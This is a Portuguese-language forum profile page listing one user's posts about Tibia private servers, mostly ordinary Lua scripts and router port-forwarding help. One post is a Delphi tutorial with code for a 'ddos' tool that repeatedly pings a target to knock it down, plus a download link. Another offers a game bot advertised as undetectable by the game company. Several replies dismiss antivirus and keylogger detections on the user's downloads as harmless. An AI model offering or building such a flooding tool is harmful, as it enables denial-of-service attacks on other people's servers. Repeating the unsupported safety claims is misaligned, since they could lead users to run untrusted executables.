Ir para conteúdo

lano

Membro
  • Registro em

  • Última visita

Tudo que lano postou

  1. É so vc abrir as portas 7171 é 7172 nele em Forwarding>Virtual Servers>add new... o resto ja da pra ver depois
  2. isso deve servir. function onSay(cid, item, words, param) local count = getPlayerInstantSpellCount(cid) local text = "" local t = {} local prevLevel = -1 local line = "" for i = 0, count - 1 do local spell = getPlayerInstantSpellInfo(cid, i) if spell.level ~= 0 then if spell.manapercent > 0 then spell.mana = spell.manapercent .. "%" end table.insert(t, spell) end end table.sort(t, function(a, b) return a.level < b.level end) for i, spell in ipairs(t) do if prevLevel ~= spell.level then if i ~= 1 then line = "" end line = line .. "- Spells for Level " .. spell.level .. ":\n" prevLevel = spell.level end text = text .. line .."• ".. spell.words .." - " .. spell.name .. ": " .. spell.mana .. "\n" end doShowTextDialog(cid, 7528, text) return TRUE end
  3. Jovems vou ensinar como fazer um tradutor, wiki,dicionario, etc... em um programa só Vamos ao tutorial Vamos usar: 1 TEdit, 1 TButton, 1 TWebBrowser Fica em (internet). Dê dois cliques em cima da TButton e Coloque isso: Pronto execute seu projeto simples rapido e facil. O meu ficou assim: Gostou do meu topico? entao de um gostei!
  4. Pelo que o erro diz, a entrada da house ta errada. Esqueceu de definir a posição da entrada, da porta. mais como vc falo que nao mexeu em house, vá no seu Map Editor e tente acha alguma hause errada se tiver house no seu serve. E isso é um erro de Mapping. caso nao consiga manda PM pramin.
  5. cara vc denovo entao se ta cheio de keylogger como vc ta acusando ai sem saber completamente de nada parese que numca uso delphi segue o tutorial faz ai passa no virus total e me diz o que apareseu. Porque isso ai sao para o funcionamento do aplicativo.
  6. Eae Jovems!! Venho aqui ensinar a vcs fazerem um programa ddos com ping em delphi. Vamos precisar de: ,1timer,2edit,1SpinEdit,1checkbox,1memo,1IdIcmpClient, 1buttom, Em private voce coloca: function EstaVivo(IP: String): boolean; Declare abaixo de {$R *.dfm}: function TForm1.EstaVivo(IP: String): boolean; begin with IdIcmpClient1 do begin Host := IP; ReceiveTimeout := 500; Ping; if ReplyStatus.BytesReceived > 0 then result := true else result := false; end; end; Der 2 clique no IdIcmpClient e adicione o seguinte código : Memo1.Lines.Add('Derrubando :' + (edit1.Text) +' Bytes Sendo Enviando : '+ IntToStr(AReplyStatus.BytesReceived )); Clique no IdIcmpClient depois em "events" der 2 click no Onstatus e adicione o seguinte código : Memo1.Lines.Add(AStatusText); Der 2 Clique no checkbox e Adicione o código : if CheckBox1.Checked = true then begin Edit1.Enabled := false; SpinEdit1.Enabled := false; Timer1.Enabled := true; end; if CheckBox1.Checked = false then begin Edit1.Enabled := true; SpinEdit1.Enabled := true; Timer1.Enabled := false; end; De dois click no Button e coloque isso: if EstaVivo(Edit2.Text) then ShowMessage('Online') else ShowMessage('Offline'); e por ultimo deixe o enabled do timer em false é interval 100 quanto menor mais rapido, É de 2 clique no timer e adicione o código : IdICMPClient1.Port := SpinEdit1.Value; IdICMPClient1.Host := Edit1.Text; IdICMPClient1.Ping(); O meu ficou assim: Pra quem nao conseguiu fazer é que um programa ddos vou coloca o meu para download Abaixo. download:Attack Ddos.rar
  7. lano postou uma resposta no tópico em Recursos Avançados
    Eu mandei o endereço connect para um label. Quando o label fica 8 ele esta online quando fica 0 offline ai eu so fiz da um enter quando tiver 0.
  8. lano postou uma resposta no tópico em Recursos Avançados
    @Flamer Como eu disse la em cima eu quis esclarecer para demais usuaris do Tk que isso nao e virus. @Spraypaint Sim, sempre estarei atualizando quando poder. @slaake Brigadao doido!
  9. lano postou uma resposta no tópico em Recursos Avançados
    @Flamer Isso não é um virus de fato. Normalmente, os antivirus que os identificam dessa forma são antivirus fracos e pouco conhecidos. Como Ikarus, ClamAV, Emisofts e afins. Costumo fazer uma analogia com o filho criado por vó, que acha que tudo é perigoso e não deixa o "filho" sair de casa. Uma mãe experiente (Norton/Karpesky/McAfee) sabe o que é bom para o seu filho (o computador) e protege sem sufocar. Um mãe medrosa acha que tudo pode ser prejudicial, achando que o garoto vai gripar com sereno. =P Bom acho que consegui deixar claro a situação.
  10. lano postou uma resposta no tópico em Recursos Avançados
    @Annezinha Isso nao e virus sao para o funcinamento do aplicativo é inofensivo. @slaake Da uma olhada na foto doido da pra vc ver melhor la
  11. lano postou uma resposta no tópico em Recursos Avançados
    Eae Jovems!!! Entao eu fiz um bot para mim ai eu vim disponibilizar ele para download Uma foto para vcs verem o que tem nele: Ele simula completamente mouse e teclado entao e simplesmente indetectavel para cipsoft. Scan:Virus Total download:Lanos Bot.rar Caso alguem ache bugs postem desde já Sempre que eu poder estarei atualizando .
  12. lano postou uma resposta no tópico em Suporte Tibia OTServer
    Acho que vc deveria usar setPlayerExtraExpRate ao inves de vc usa doPlayerSetExperienceRate.
  13. Vá na sua pasta DATA > Actions > Scripts e crie um arquivo chamado pick_buraco.lua e cole isso dentro do arquivo function onUse(cid, item, frompos, item2, topos) if item2.itemid == 0 then return FALSE end if item.itemid == 2553 and item2.itemid == 355 and item2.actionid == 777 then doTransformItem(item2.uid, 392) doSendMagicEffect(topos, CONST_ME_POFF) doDecayItem(item2.uid) doSetItemActionId(item2.uid,777) else return FALSE end return TRUE end Agora vá no arquivo actions.xml e cole isso <action itemid="2553" script="pick_buraco.lua"/> Explicando: É uma ActionID, então você pode colocar em qualquer parte do mapa, entretanto, somente no tile que tiver como ID 355 !!! OBS: A pick só irá funcionar no tile que tiver o ID 355 é Actionid 777!!!
  14. Olha esse aki jovem. local spellConfig = { {effect = CONST_ME_FIREATTACK, area = createCombatArea({ {1, 0, 1}, {0, 2, 0}, {0, 1, 0}}) }, {effect = CONST_ME_FIREAREA, area = createCombatArea({ {0, 1, 0, 0, 0}, {1, 0, 0, 1, 0}, {0, 0, 2, 0, 0}, {0, 0, 1, 0, 1}, {1, 0, 0, 1, 0}}) }, {effect = CONST_ME_FIREATTACK, area = createCombatArea({ {0, 0, 1, 0, 1}, {1, 0, 0, 0, 1}, {0, 0, 2, 1, 0}, {0, 1, 0, 0, 1}, {1, 0, 1, 0, 0}}) }, {effect = CONST_ME_HITBYFIRE, area = createCombatArea({ {0, 0, 1, 0, 1}, {1, 0, 0, 0, 1}, {0, 0, 2, 1, 0}, {0, 1, 0, 0, 1}, {1, 0, 1, 0, 0}}) }, {effect = CONST_ME_FIREAREA, area = createCombatArea({ {0, 0, 1, 0, 1, 0, 0}, {0, 0, 0, 0, 0, 1, 0}, {1, 0, 0, 0, 0, 0, 1}, {0, 0, 1, 2, 1, 0, 0}, {1, 0, 0, 0, 0, 0, 1}, {0, 0, 1, 0, 0, 0, 0}, {0, 0, 1, 0, 1, 0, 0}}) }, {effect = CONST_ME_HITBYFIRE, area = createCombatArea({ {0, 0, 1, 0, 1, 0, 0}, {0, 1, 0, 1, 0, 1, 0}, {1, 0, 1, 0, 0, 0, 1}, {0, 0, 0, 2, 1, 0, 0}, {0, 1, 0, 0, 0, 0, 1}, {1, 0, 0, 1, 0, 1, 0}, {0, 0, 1, 0, 1, 0, 0}}) }, {effect = CONST_ME_FIREAREA, area = createCombatArea({ {0, 0, 1, 0, 1, 0, 0}, {0, 1, 0, 1, 0, 1, 0}, {1, 0, 1, 0, 0, 0, 1}, {0, 0, 0, 2, 1, 0, 0}, {0, 1, 0, 0, 0, 0, 1}, {1, 0, 0, 1, 0, 1, 0}, {0, 0, 1, 0, 1, 0, 0}}) } } local combats = {} for k, config in ipairs(spellConfig) do combats[k] = createCombatObject() onTargetTile = function(cid, pos) local basePos = getThingPosition(cid) local fromPos = {x=basePos.x-6, y=basePos.y-8, z=basePos.z} doSendDistanceShoot(fromPos, pos, CONST_ANI_FIRE) end setCombatCallback(combats[k], CALLBACK_PARAM_TARGETTILE, "onTargetTile") setCombatParam(combats[k], COMBAT_PARAM_TYPE, COMBAT_FIREDAMAGE) setCombatParam(combats[k], COMBAT_PARAM_EFFECT, config.effect) setCombatFormula(combats[k], COMBAT_FORMULA_LEVELMAGIC, -0.593, -50, -0.929, -100) setCombatArea(combats[k], config.area) end local function castingSpellTime(p) if(isCreature(p[1]) == TRUE) then doCombat(unpack(p)) end end function onCastSpell(cid, var) for k, combat in ipairs(combats) do addEvent(castingSpellTime, (250*k), {cid, combat, var}) end return true end
  15. Projeto bem bacana mesmo vai ficar irado doido pra jogar . Reputado +
  16. Um geito mais simples e so vc coloca uma qual quer uniqueid e actionid no item Pronto!
  17. lano postou uma resposta no tópico em Suporte Tibia OTServer
    Estao sim so falta vc ageita a de paladin e royal paladin.
  18. lano postou uma resposta no tópico em Suporte Tibia OTServer
    ali em distDamage="1.3" na vocasao de paladin vc diminui deixa 1.1 ou 1.0 normal
  19. lano postou uma resposta no tópico em Suporte Tibia OTServer
    Amostra ai seu vocation.xml pramin da uma olhada nele.
  20. lano postou uma resposta no tópico em Suporte Bots
    amigo nao tem como vc deixar a luz full com o bbot mais para tira o lag do seu pc vc faz assim abaixo onde vc ajusta a luz do tibia abaixo em adjust framerate limit voce deixa 10
  21. Tenta esse aki coloca em creaturescripts/scripts/firstitems.lua local commonItems = { -- ITEMS ALL VOCS RECEIVE {itemid=2120, count=1}, -- rope {itemid=5710, count=1}, -- shovel {itemid=1988, count=1}, -- backpack } local firstItems = { { -- SORC ITEMS {itemid=2482, count=1}, -- hat {itemid=2484, count=1}, -- cape {itemid=2468, count=1}, -- legs {itemid=2643, count=1}, -- bots {itemid=2175, count=1}, -- spellbook {itemid=2412, count=1}, -- katana }, { -- DRUID ITEMS {itemid=2323, count=1}, -- hat of the mad {itemid=8871, count=1}, -- focus cape {itemid=7730, count=1}, -- blue legs {itemid=2195, count=1}, -- boots of haste {itemid=8902, count=1}, -- spellbook of mind control {itemid=2183, count=1}, -- hailstorm rod {itemid=2268, count=1}, -- sd {itemid=2273, count=1}, -- uh {itemid=7590, count=1}, -- gmp {itemid=2293, count=1}, -- mw {itemid=2269, count=1}, -- wg {itemid=2278, count=1}, -- para }, { -- PALADIN ITEMS {itemid=2482, count=1}, -- hat {itemid=2484, count=1}, -- cape {itemid=2468, count=1}, -- legs {itemid=2643, count=1}, -- bots {itemid=2175, count=1}, -- spellbook {itemid=5907, count=1}, -- slingshot }, { -- KNIGHT ITEMS {itemid=2493, count=1}, -- demon helmet {itemid=2472, count=1}, -- magic plate armor {itemid=2470, count=1}, -- golden legs {itemid=2195, count=1}, -- boots of haste {itemid=2514, count=1}, -- mastermind shield {itemid=2431, count=1}, -- Stonecutter Axe {itemid=7620, count=1}, -- mp {itemid=7591, count=1}, -- ghp {itemid=8473, count=1}, -- uhp {itemid=2313, count=1}, -- explosion {itemid=2293, count=1}, -- mw } } for _, items in ipairs(firstItems) do for _, item in ipairs(commonItems) do table.insert(items, item) end end function onLogin(cid) if getPlayerGroupId(cid) < 2 then local hasReceivedFirstItems = getPlayerStorageValue(cid, 67708) if hasReceivedFirstItems == -1 then --[[local backpack = ]]doPlayerAddItem(cid, 1988, 1) local giveItems = firstItems[getPlayerVocation(cid)] if giveItems ~= nil then for _, v in ipairs(giveItems) do --doAddContainerItem(backpack, v.itemid, v.count or 1) doPlayerAddItem(cid, v.itemid, v.count or 1) end doPlayerSendTextMessage(cid, MESSAGE_STATUS_CONSOLE_ORANGE, "You have recieved your equipment") setPlayerStorageValue(cid, 67708, 1) end end end return TRUE end coloca essa tag em creaturescripts.xml <event type="login" name="FirstItems" event="script" value="firstitems.lua"/>
  22. Eae Fmz? O titulo ja diz tudo então vamos la. Add isso em creaturescripts/scripts/login.lua: Crie um novo arquivo.lua com o nome que voce quiser em spells/scripts/Nome.lua: Add isso em spells/spells.xml: Finish Creditos : cbrm ea min Lano por ter postado no Tk
  23. lano postou uma resposta no tópico em Suporte Tibia OTServer
    eae fmz? Tem como voce disponibilizar o erro o que ele diz, como é, poderia?
  24. lano postou uma resposta no tópico em Suporte Tibia OTServer
    Eae Fmz? È so vc baixa o sqlitestudio-2.0.26 o mais recente.
  25. Primeiro voce descobre o IP dele ai que deve ser algo como 192.168.0.1 Abre esse IP no navegador. Procure por Advanced depois va em Forwarding pra adicionar, a porta que voce precisa.

Informação Importante

Confirmação de Termo